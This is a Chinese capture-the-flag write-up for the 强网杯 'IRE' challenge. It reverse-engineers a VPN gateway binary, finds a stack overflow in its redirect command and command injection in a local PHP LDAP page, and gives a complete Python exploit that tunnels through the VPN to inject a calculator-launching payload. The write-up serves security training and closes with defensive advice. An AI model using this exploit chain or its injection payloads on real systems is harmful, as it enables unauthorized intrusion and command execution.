S8强网杯 IRE-sbgwd打通VPN隧道进行内网渗透利用命令注入
字数 1116 2025-08-22 12:22:15
S8强网杯 IRE-sbgwd内网渗透与命令注入漏洞利用分析
赛题环境概述
- 题目名称: ire
- 旗帜名称: IRE
- 环境配置: 提供Ubuntu 64-bit 22.04.5 LTS虚拟机
- 登录凭证: 用户名/密码为game/game
- 目标: 通过漏洞利用使靶机弹出计算器即挑战成功
初始信息收集
服务发现
通过检查系统服务发现关键程序启动方式:
# 查看服务配置
grep -r "start.sh" /etc/systemd/system/
cat /etc/systemd/system/myservice.service
# 服务内容
[Unit]
Description=My Custom Script Service
After=network.target
[Service]
ExecStart=/home/game/start.sh
Restart=on-failure
User=root
Group=root
[Install]
WantedBy=multi-user.target
网络端口扫描
使用ss -tuln命令发现开放端口:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp LISTEN 0 4096 0.0.0.0:45443 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:80 0.0.0.0:*
关键程序分析
目标程序/home/game/sbgwd通过start.sh脚本启动:
#!/bin/bash
LD_PRELOAD=/home/game/libstrongswan.so.0 /home/game/sbgwd
逆向分析sbgwd程序
通过IDA逆向分析,发现程序主要功能:
- 主函数结构:
__int64 __fastcall main(unsigned int a1, char **a2, char **a3) {
// 初始化操作
memset(&stru_23340, 0, 0x908uLL);
// ...其他初始化
// 主要功能处理
// ...
// 清理和退出
library_deinit();
syslog(7, "exit");
closelog();
return v5;
}
- 功能菜单:
switch (__ROL2__(*(_WORD *)ptr->opt, 8)) {
case 0: // 认证
return (unsigned int)VPN_AUTH(a1, a4, a5, a6, buf, ptr, 0);
case 1: // 登出
return (unsigned int)sub_B8D0((__int64)ptr, a6, buf);
case 2: // 策略
return (unsigned int)COMMAND_POLICY(a1);
case 3: // 会话
// 会话处理
break;
case 5: // 重定向信息命令(存在栈溢出漏洞)
v17 = SET_REDIRECT(ptr, a7);
syslog(7, "%lx MAJOR_COMMAND_SET_REDIRECT_INFO socket... %d", v13, *a7);
return v17;
case 6: // VPN认证
return (unsigned int)VPN_AUTH(a1, a4, a5, a6, buf, ptr, 1);
case 7: // 获取版本
return (unsigned int)GET_VERSION(a1, ptr);
default: // 未知命令
// ...
}
- 数据包格式:
b'SlSp' + p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)
漏洞发现与分析
1. SET_REDIRECT命令栈溢出漏洞
在功能5(SET_REDIRECT)中发现存在栈溢出漏洞:
v5 = strchr(v4, ':');
v6 = v5;
if (v5) {
if (v5 != v4)
memcpy(host, v4, v5 - v4); // 栈溢出点
syslog(7, "redirect host %s", (const char *)host);
// ...
}
2. Web服务命令注入漏洞
发现本地80端口运行的web服务中/var/www/html/ldapTest.php存在命令注入漏洞:
<?php
function getSchemaDN($uri,$tls) {
$cmd = sprintf("ldapsearch -x -LLL -o ldif-wrap=no -H %s %s -s base subschemaSubentry",$uri,$tls);
$ldap_search = shell_exec($cmd); // 命令执行点
// ...
}
function isAttrExists($attr, $uri, $tls, $base, $user, $pass) {
$cmd = sprintf("ldapsearch -o ldif-wrap=no -H %s %s -x -D %s -b \"%s\" -w %s -s base -a always \"(objectClass=*)\" \"attributeTypes\"",$uri,$tls,$user,$base,$pass);
$ldap_search = shell_exec($cmd); // 另一个命令执行点
// ...
}
3. 自定义转义函数绕过
出题人实现的escapeshellarg_jp函数存在绕过可能:
function escapeshellarg_jp($p_arg) {
// 实现细节...
// 可以通过输入如`';ls;#`这样的payload绕过
}
漏洞利用链构建
-
利用VPN功能建立隧道:
- 使用系统日志中发现的密钥和证书路径:
private_key_path: /etc/ssl/private/ssgw_ssl.key server_cert_path: /etc/ssl/certs/ssgw_cert.pem
- 使用系统日志中发现的密钥和证书路径:
-
通过SET_REDIRECT功能重定向到本地Web服务:
- 构造特定格式的数据包重定向到127.0.0.1:80
-
利用Web服务中的命令注入:
- 发送精心构造的POST请求触发命令执行
- 示例payload:
username=admin'";gnome-calculator;"test1";"&password=123
完整利用脚本
import socket
import ssl
from pwn import *
import time
import json
def create_ssl_context(certfile, keyfile):
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.load_cert_chain(certfile=certfile, keyfile=keyfile)
return context
def create_ssl_connection(hostname, port, context):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(sock, server_hostname=hostname)
ssl_sock.connect((hostname, port))
return ssl_sock
hostname = '192.168.128.137'
port = 45443
data = '''username=admin'";gnome-calculator;"test1";"&password=123'''
content_length = len(data)
request = f"POST /login.php HTTP/1.1\r\n"
request += f"Host: {hostname}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += f"Content-Length: {content_length}\r\n"
request += "Connection: close\r\n"
request += "\r\n"
request += data
def main():
certfile = './csr'
keyfile = './key'
ssl_context = create_ssl_context(certfile, keyfile)
print(f'Connecting to {hostname}:{port}')
ssl_sock = create_ssl_connection(hostname, port, ssl_context)
try:
# 构造VPN数据包
data = b''
data += b'a' * 0x10
data += b'127.0.0.1:80'
# 数据包格式: b'SlSp' + p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)
pl = b'SlSP' + p32(len(data), endian='big') + p8(1) + p8(0) + b'b'*5 + p8(1) + b'b'*4 + p16(5, endian='big') + p16(0x1, endian='big')
pl += data
print('pl size -> ' + hex(len(pl)))
print('pl hex -> ' + pl.hex())
ssl_sock.sendall(pl)
sleep(1)
# 发送命令注入payload
pl = request.encode()
ssl_sock.sendall(pl)
# 接收响应
response = ssl_sock.recv(4096)
response += ssl_sock.recv(4096)
print(b'response -> ' + response)
finally:
ssl_sock.close()
if __name__ == '__main__':
main()
关键知识点总结
-
服务发现与分析:
- 通过系统日志和进程检查发现关键服务
- 分析systemd服务配置了解程序启动方式
-
逆向工程技巧:
- 使用IDA进行二进制逆向分析
- 识别关键函数和程序逻辑
- 分析数据包结构和协议格式
-
漏洞利用链构建:
- 结合多个漏洞实现纵深攻击
- 从网络层到应用层的完整攻击路径
-
命令注入绕过技巧:
- 分析自定义转义函数的实现缺陷
- 构造特殊字符绕过过滤
-
SSL/TLS通信:
- 使用Python ssl模块建立安全连接
- 加载自定义证书和密钥
防御建议
-
输入验证:
- 对所有用户输入进行严格验证
- 使用官方提供的转义函数而非自定义实现
-
权限控制:
- 遵循最小权限原则
- 避免使用root权限运行服务
-
安全编码:
- 避免直接使用用户输入构造系统命令
- 使用参数化查询或安全API替代shell命令
-
漏洞防护:
- 启用栈保护机制(如ASLR, DEP)
- 对关键服务进行模糊测试
-
日志监控:
- 监控异常的系统日志
- 设置入侵检测系统